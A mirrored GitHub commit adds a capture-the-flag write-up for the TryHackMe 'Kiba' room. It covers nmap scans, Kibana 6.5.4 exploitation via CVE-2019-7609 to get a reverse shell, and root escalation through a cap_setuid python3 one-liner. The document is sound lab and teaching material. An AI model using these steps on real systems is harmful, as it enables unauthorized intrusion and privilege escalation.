mirror of
https://github.com/AbdullahRizwan101/CTF-Writeups
synced 2024-11-10 06:34:17 +00:00
Add files via upload
This commit is contained in:
AbdullahRizwan101
GitHub
parent
4de31b3ae4
commit
e89ff4ddf8
1 changed files with 161 additions and 0 deletions
161
TryHackMe/Kiba.md
Normal file
161
TryHackMe/Kiba.md
Normal file
|
|
@ -0,0 +1,161 @@
|
||||||
|
# TryHackMe-Kiba
|
||||||
|
|
||||||
|
>Abdullah Rizwan | 10:28 AM | 4th November ,2020
|
||||||
|
|
||||||
|
## NMAP
|
||||||
|
|
||||||
|
```
|
||||||
|
Starting Nmap 7.80 ( https://nmap.org ) at 2020-11-04 10:31 PKT
|
||||||
|
Nmap scan report for 10.10.215.99
|
||||||
|
Host is up (0.18s latency).
|
||||||
|
Not shown: 998 closed ports
|
||||||
|
PORT STATE SERVICE VERSION
|
||||||
|
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
|
||||||
|
| ssh-hostkey:
|
||||||
|
| 2048 9d:f8:d1:57:13:24:81:b6:18:5d:04:8e:d2:38:4f:90 (RSA)
|
||||||
|
| 256 e1:e6:7a:a1:a1:1c:be:03:d2:4e:27:1b:0d:0a:ec:b1 (ECDSA)
|
||||||
|
|_ 256 2a:ba:e5:c5:fb:51:38:17:45:e7:b1:54:ca:a1:a3:fc (ED25519)
|
||||||
|
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|
||||||
|
|_http-server-header: Apache/2.4.18 (Ubuntu)
|
||||||
|
|_http-title: Site doesn't have a title (text/html).
|
||||||
|
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
|
||||||
|
|
||||||
|
```
|
||||||
|
This didn't returned a port on which `kibana` was runinng so let's try enumarting for ports that are greater than 1000
|
||||||
|
|
||||||
|
```
|
||||||
|
ost is up (0.23s latency).
|
||||||
|
Not shown: 65531 closed ports
|
||||||
|
PORT STATE SERVICE VERSION
|
||||||
|
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
|
||||||
|
| ssh-hostkey:
|
||||||
|
| 2048 9d:f8:d1:57:13:24:81:b6:18:5d:04:8e:d2:38:4f:90 (RSA)
|
||||||
|
| 256 e1:e6:7a:a1:a1:1c:be:03:d2:4e:27:1b:0d:0a:ec:b1 (ECDSA)
|
||||||
|
|_ 256 2a:ba:e5:c5:fb:51:38:17:45:e7:b1:54:ca:a1:a3:fc (ED25519)
|
||||||
|
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|
||||||
|
|_http-server-header: Apache/2.4.18 (Ubuntu)
|
||||||
|
|_http-title: Site doesn't have a title (text/html).
|
||||||
|
5044/tcp open lxi-evntsvc?
|
||||||
|
5601/tcp open esmagent?
|
||||||
|
| fingerprint-strings:
|
||||||
|
| DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, Kerberos, LDAPBindReq, LDAPSearchReq, LPDString, RPCCheck, RTSPRequest, SMBProgNeg, SSLSessionR
|
||||||
|
eq, TLSSessionReq, TerminalServerCookie, X11Probe:
|
||||||
|
| HTTP/1.1 400 Bad Request
|
||||||
|
| FourOhFourRequest:
|
||||||
|
| HTTP/1.1 404 Not Found
|
||||||
|
| kbn-name: kibana
|
||||||
|
| kbn-xpack-sig: c4d007a8c4d04923283ef48ab54e3e6c
|
||||||
|
| content-type: application/json; charset=utf-8
|
||||||
|
| cache-control: no-cache
|
||||||
|
| content-length: 60
|
||||||
|
| connection: close
|
||||||
|
| undefined: undefined
|
||||||
|
| Date: Wed, 04 Nov 2020 06:00:22 GMT
|
||||||
|
| {"statusCode":404,"error":"Not Found","message":"Not Found"}
|
||||||
|
| GetRequest:
|
||||||
|
| HTTP/1.1 302 Found
|
||||||
|
| location: /app/kibana
|
||||||
|
| kbn-name: kibana
|
||||||
|
| kbn-xpack-sig: c4d007a8c4d04923283ef48ab54e3e6c
|
||||||
|
| cache-control: no-cache
|
||||||
|
| content-length: 0
|
||||||
|
| connection: close
|
||||||
|
| undefined: undefined
|
||||||
|
| Date: Wed, 04 Nov 2020 06:00:17 GMT
|
||||||
|
| HTTPOptions:
|
||||||
|
| HTTP/1.1 404 Not Found
|
||||||
|
| kbn-name: kibana
|
||||||
|
| kbn-xpack-sig: c4d007a8c4d04923283ef48ab54e3e6c
|
||||||
|
| content-type: application/json; charset=utf-8
|
||||||
|
| cache-control: no-cache
|
||||||
|
| content-length: 38
|
||||||
|
| connection: close
|
||||||
|
| undefined: undefined
|
||||||
|
| Date: Wed, 04 Nov 2020 06:00:17 GMT
|
||||||
|
|_ {"statusCode":404,"error":"Not Found"}
|
||||||
|
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/
|
||||||
|
submit.cgi?new-service :
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
Visting the port `5601`
|
||||||
|
|
||||||
|
<img src="https://imgur.com/iHct8wi.png"/>
|
||||||
|
|
||||||
|
<img src="https://imgur.com/vr5Yjwg.png"/>
|
||||||
|
|
||||||
|
Here you can find the version which kibana is running
|
||||||
|
|
||||||
|
* What is the vulnerability that is specific to programming languages with prototype-based inheritance?
|
||||||
|
|
||||||
|
By google search found about `prototype pollution`
|
||||||
|
|
||||||
|
|
||||||
|
* What is the version of visualization dashboard installed in the server?
|
||||||
|
|
||||||
|
Version: 6.5.4
|
||||||
|
|
||||||
|
* What is the CVE number for this vulnerability? This will be in the format: CVE-0000-0000
|
||||||
|
|
||||||
|
CVE-2019-7609
|
||||||
|
|
||||||
|
Searching the CVE on google I found a github page
|
||||||
|
|
||||||
|
`https://github.com/mpgn/CVE-2019-7609`
|
||||||
|
|
||||||
|
|
||||||
|
<img src="https://imgur.com/ZVN4udx.png"/>
|
||||||
|
|
||||||
|
Now as I soon as I visit the page `canvas` I get a reverse shell
|
||||||
|
|
||||||
|
<img src="https://imgur.com/gqFHe6M.png"/>
|
||||||
|
|
||||||
|
|
||||||
|
<img src="https://imgur.com/XCE2Ykw.png"/>
|
||||||
|
|
||||||
|
Now on port 80 it was pointed to us about `linux capabilites` so on searching capabilites on linux I came across something called `getcap` that lists the files that have capabilites to run anythin on system,Capabilities is a concept that provides a security system that allows "divide" root privileges into different values
|
||||||
|
|
||||||
|
|
||||||
|
When running `getcap` shell got broke and I tried so many times re deoplying the machine to again get a reverse shell
|
||||||
|
|
||||||
|
Finally after getting a shell I ran the command
|
||||||
|
|
||||||
|
```
|
||||||
|
kiba@ubuntu:/home/kiba$ getcap -r / 2>/dev/null
|
||||||
|
getcap -r / 2>/dev/null
|
||||||
|
/home/kiba/.hackmeplease/python3 = cap_setuid+ep
|
||||||
|
/usr/bin/mtr = cap_net_raw+ep
|
||||||
|
/usr/bin/traceroute6.iputils = cap_net_raw+ep
|
||||||
|
/usr/bin/systemd-detect-virt = cap_dac_override,cap_sys_ptrace+ep
|
||||||
|
|
||||||
|
```
|
||||||
|
```
|
||||||
|
kiba@ubuntu:/home/kiba$ cd .hackmeplease
|
||||||
|
cd .hackmeplease
|
||||||
|
kiba@ubuntu:/home/kiba/.hackmeplease$ ls -al
|
||||||
|
ls -al
|
||||||
|
total 4356
|
||||||
|
drwxrwxr-x 2 kiba kiba 4096 Mar 31 2020 .
|
||||||
|
drwxr-xr-x 6 kiba kiba 4096 Nov 3 22:19 ..
|
||||||
|
-rwxr-xr-x 1 root root 4452016 Mar 31 2020 python3
|
||||||
|
|
||||||
|
```
|
||||||
|
We see that python3 has `capabilites` set so on visiting GTFOBINS
|
||||||
|
|
||||||
|
<img src="https://imgur.com/tcHkrvH.png"/>
|
||||||
|
|
||||||
|
## Privilege Escalation
|
||||||
|
|
||||||
|
`./python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'`
|
||||||
|
|
||||||
|
```
|
||||||
|
./python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
|
||||||
|
<kmeplease$ ./python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
|
||||||
|
pwd
|
||||||
|
/home/kiba/.hackmeplease
|
||||||
|
id
|
||||||
|
uid=0(root) gid=1000(kiba) groups=1000(kiba),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),114(lpadmin),115(sambashare)
|
||||||
|
whoami
|
||||||
|
root
|
||||||
|
|
||||||
|
```
|
||||||
Loading…
Reference in a new issue